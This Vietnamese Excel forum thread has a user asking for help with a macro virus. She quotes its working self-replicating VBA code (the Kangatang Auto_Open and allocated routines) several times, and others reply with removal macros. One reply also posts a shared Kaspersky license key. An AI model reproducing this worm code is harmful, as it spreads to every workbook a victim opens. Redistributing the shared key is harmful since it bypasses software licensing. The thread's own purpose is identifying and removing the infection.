Cháu hỏi các bác và các anh chị đây có phải là virus không ạ (1 người xem)

Liên hệ QC

Người dùng đang xem chủ đề này

Tôi tuân thủ nội quy khi đăng bài

hongphuong1997

Thành viên tiêu biểu
Tham gia
12/11/17
Bài viết
773
Được thích
322
Giới tính
Nữ
Tất cả các file excel ccủa cháu đều có mà này, cháu đã xóa đi roài nhưng nó lại xuất hiện trở lại.
Cháu kính nhờ các bác và các anh chị tiêu diệt hộ cháu với ạ.
Cháu cảm ơn ạ.

Mã:
Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
Application.DisplayAlerts = Triue
Application.EnableEvents = True
Application.ScreenUpdating = True
Application.DisplayStatusBar = True


On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel1.xls!allocated"
End Sub



Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = True
    Application.DisplayStatusBar = True
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub
 
Con virus chết tiệt này nó đẻ ra cả đống Module đó. Bạn chạy thủ tục này:

Mã:
Sub KillVirus()
    Call DelKangatang
    Call KillFoxz
End Sub

'Xóa Module virus Kangatang
'Phan Tu Huong lâp
Sub DelKangatang()
    On Error Resume Next
  
    Dim ModulKang As Object
  
    For Each ModulKang In ThisWorkbook.VBProject.VBComponents
        If Left(ModulKang.Name, 9) = "Kangatang" Then
            ThisWorkbook.VBProject.VBComponents.Remove ModulKang
        End If
    Next
End Sub

'Diêt virus NEGS.xls
'Code suu tâm
Sub KillFoxz()
    Dim WB As Workbook
    On Error Resume Next
    Application.DisplayAlerts = False
    Application.EnableEvents = False
    For Each WB In Workbooks
        WB.Sheets("foxz").Delete
    Next
    With Workbooks("NEGS.XLS")
        .ChangeFileAccess xlReadOnly
        Kill .FullName
        .Close False
    End With
    Application.EnableEvents = True
    Application.DisplayAlerts = True
End Sub
 
Lần chỉnh sửa cuối:
Con virus chết tiệt này nó đẻ ra cả đống Module đó. Bạn chạy thủ tục này:

Mã:
Sub KillVirus()
    Call DelKangatang
    Call KillFoxz
End Sub

'Xóa Module virus Kangatang
'Phan Tu Huong lâp
Sub DelKangatang()
    On Error Resume Next
 
    Dim ModulKang As Object
 
    For Each ModulKang In ThisWorkbook.VBProject.VBComponents
        If Left(ModulKang.Name, 9) = "Kangatang" Then
            ThisWorkbook.VBProject.VBComponents.Remove ModulKang
        End If
    Next
End Sub

'Diêt virus NEGS.xls
'Code suu tâm
Sub KillFoxz()
    Dim WB As Workbook
    On Error Resume Next
    Application.DisplayAlerts = False
    Application.EnableEvents = False
    For Each WB In Workbooks
        WB.Sheets("foxz").Delete
    Next
    With Workbooks("NEGS.XLS")
        .ChangeFileAccess xlReadOnly
        Kill .FullName
        .Close False
    End With
    Application.EnableEvents = True
    Application.DisplayAlerts = True
End Sub
Cháu cảm ơn bác ạ, bác oi nhưng cháu chạy thì thủ tục nó không chạy bác oi.
Bác hướng dẫn cháu với ạ.
Có một anh cũng viết cho cháu thủ tục này, nhưng diệt nó xong chỉ vài tiếng sau nó lại xuất hiện bác oi.
Mã:
Sub RemoveMacrosFromFolder()
    Dim folderPath As String
    Dim fileName As String
    Dim wb As Workbook
    Dim vbComp As Object
    Dim StartLine As Long
    Dim ProcLines As Long
    Dim FileDialog As FileDialog
    Dim deletedMacroCount As Long
    Dim macroFound As Boolean

    ' M? h?p tho?i d? ch?n thu m?c
    Set FileDialog = Application.FileDialog(msoFileDialogFolderPicker)
    FileDialog.Title = "Ch?n thu m?c ch?a các file Excel"
    
    If FileDialog.Show = -1 Then
        folderPath = FileDialog.SelectedItems(1) & "\"
    Else
        MsgBox "Không ch?n thu m?c, k?t thúc."
        Exit Sub
    End If
    
    ' Ð?m s? file dã xóa macro
    deletedMacroCount = 0
    
    ' Duy?t qua t?t c? các file Excel trong thu m?c
    fileName = Dir(folderPath & "*.xls*") ' Tìm t?t c? các file có duôi .xls, .xlsm, .xlsx, .xlsb
    
    Application.DisplayAlerts = False
    On Error Resume Next
    
    Do While fileName <> ""
        ' M? t?ng file Excel
        Set wb = Workbooks.Open(folderPath & fileName)
        macroFound = False

        ' Ki?m tra và xóa macro Auto_Open và allocated
        For Each vbComp In wb.VBProject.VBComponents
            With vbComp.CodeModule
                ' Tìm và xóa macro Auto_Open n?u có
                StartLine = 0
                On Error Resume Next
                StartLine = .ProcStartLine("Auto_Open", vbext_pk_Proc)
                ProcLines = .ProcCountLines("Auto_Open", vbext_pk_Proc)
                On Error GoTo 0
                If StartLine > 0 Then
                    .DeleteLines StartLine, ProcLines
                    macroFound = True
                End If
                
                ' Tìm và xóa macro allocated n?u có
                StartLine = 0
                On Error Resume Next
                StartLine = .ProcStartLine("allocated", vbext_pk_Proc)
                ProcLines = .ProcCountLines("allocated", vbext_pk_Proc)
                On Error GoTo 0
                If StartLine > 0 Then
                    .DeleteLines StartLine, ProcLines
                    macroFound = True
                End If
            End With
        Next vbComp
        
        ' N?u macro dã du?c tìm th?y và xóa, d?m s? lu?ng file dã s?a
        If macroFound Then
            deletedMacroCount = deletedMacroCount + 1
            wb.Save
        End If
        
        wb.Close
        
        ' L?y file ti?p theo trong thu m?c
        fileName = Dir
    Loop

    Application.DisplayAlerts = True
    MsgBox "Ðã xóa macro trong " & deletedMacroCount & " file.", vbInformation
End Sub
 
Tất cả các file excel ccủa cháu đều có mà này, cháu đã xóa đi roài nhưng nó lại xuất hiện trở lại.
Cháu kính nhờ các bác và các anh chị tiêu diệt hộ cháu với ạ.
Cháu cảm ơn ạ.

Mã:
Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
Application.DisplayAlerts = Triue
Application.EnableEvents = True
Application.ScreenUpdating = True
Application.DisplayStatusBar = True


On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel1.xls!allocated"
End Sub



Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = True
    Application.DisplayStatusBar = True
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub
Trước mình cũng bị con virus như thế này, cách mình xóa là dùng phần mềm virus Kaspersky quét toàn bộ hệ thống là hết. Nếu bạn cài Kaspersky phiên bản Small Office thì mình chia sẽ key bản quyền hơn 700 ngày cho nhé
 
Trước mình cũng bị con virus như thế này, cách mình xóa là dùng phần mềm virus Kaspersky quét toàn bộ hệ thống là hết. Nếu bạn cài Kaspersky phiên bản Small Office thì mình chia sẽ key bản quyền hơn 700 ngày cho nhé
Anh làm ơn chia sẻ cho em link dowload cài đặt và anh cho em xin Pass với nhé anh.
Em cảm ơn anh ạ.
 
Anh làm ơn chia sẻ cho em link dowload cài đặt và anh cho em xin Pass với nhé anh.
Em cảm ơn anh ạ.
Key: 99Q55-RY8QF-5TX9V-NFWRV
Nguồn mình được chia sẽ từ PITVN Community
 
Key: 99Q55-RY8QF-5TX9V-NFWRV
Nguồn mình được chia sẽ từ PITVN Community
Em cảm ơn anh rất nhiều ạ.
 
Cháu cảm ơn bác ạ, bác oi nhưng cháu chạy thì thủ tục nó không chạy bác oi.
Bác hướng dẫn cháu với ạ.
Có một anh cũng viết cho cháu thủ tục này, nhưng diệt nó xong chỉ vài tiếng sau nó lại xuất hiện bác oi.
Mã:
Sub RemoveMacrosFromFolder()
    Dim folderPath As String
    Dim fileName As String
    Dim wb As Workbook
    Dim vbComp As Object
    Dim StartLine As Long
    Dim ProcLines As Long
    Dim FileDialog As FileDialog
    Dim deletedMacroCount As Long
    Dim macroFound As Boolean

    ' M? h?p tho?i d? ch?n thu m?c
    Set FileDialog = Application.FileDialog(msoFileDialogFolderPicker)
    FileDialog.Title = "Ch?n thu m?c ch?a các file Excel"
   
    If FileDialog.Show = -1 Then
        folderPath = FileDialog.SelectedItems(1) & "\"
    Else
        MsgBox "Không ch?n thu m?c, k?t thúc."
        Exit Sub
    End If
   
    ' Ð?m s? file dã xóa macro
    deletedMacroCount = 0
   
    ' Duy?t qua t?t c? các file Excel trong thu m?c
    fileName = Dir(folderPath & "*.xls*") ' Tìm t?t c? các file có duôi .xls, .xlsm, .xlsx, .xlsb
   
    Application.DisplayAlerts = False
    On Error Resume Next
   
    Do While fileName <> ""
        ' M? t?ng file Excel
        Set wb = Workbooks.Open(folderPath & fileName)
        macroFound = False

        ' Ki?m tra và xóa macro Auto_Open và allocated
        For Each vbComp In wb.VBProject.VBComponents
            With vbComp.CodeModule
                ' Tìm và xóa macro Auto_Open n?u có
                StartLine = 0
                On Error Resume Next
                StartLine = .ProcStartLine("Auto_Open", vbext_pk_Proc)
                ProcLines = .ProcCountLines("Auto_Open", vbext_pk_Proc)
                On Error GoTo 0
                If StartLine > 0 Then
                    .DeleteLines StartLine, ProcLines
                    macroFound = True
                End If
               
                ' Tìm và xóa macro allocated n?u có
                StartLine = 0
                On Error Resume Next
                StartLine = .ProcStartLine("allocated", vbext_pk_Proc)
                ProcLines = .ProcCountLines("allocated", vbext_pk_Proc)
                On Error GoTo 0
                If StartLine > 0 Then
                    .DeleteLines StartLine, ProcLines
                    macroFound = True
                End If
            End With
        Next vbComp
       
        ' N?u macro dã du?c tìm th?y và xóa, d?m s? lu?ng file dã s?a
        If macroFound Then
            deletedMacroCount = deletedMacroCount + 1
            wb.Save
        End If
       
        wb.Close
       
        ' L?y file ti?p theo trong thu m?c
        fileName = Dir
    Loop

    Application.DisplayAlerts = True
    MsgBox "Ðã xóa macro trong " & deletedMacroCount & " file.", vbInformation
End Sub

Thôi, không thạo thì dùng phần mềm chuyên nghiệp. Dùng code VBA chỉ dành cho những ai có kiến thức lập trình thôi.
 
Giải quyết được vấn đề chưa bạn ?
Cảm ơn anh rất nhiều ạ, các vấn đề đã được giải quyết anh oi.
Nhưng 1 số file bị lỗi, em đang phải sửa lại.
Nhưng như vậy cũng rất tốt anh oi
Nếu không dùng cái này thì em nghĩ cài lại win cũng vẫn không tiêu diệt được con virus này
 
Web KT

Bài viết mới nhất

Back
Top Bottom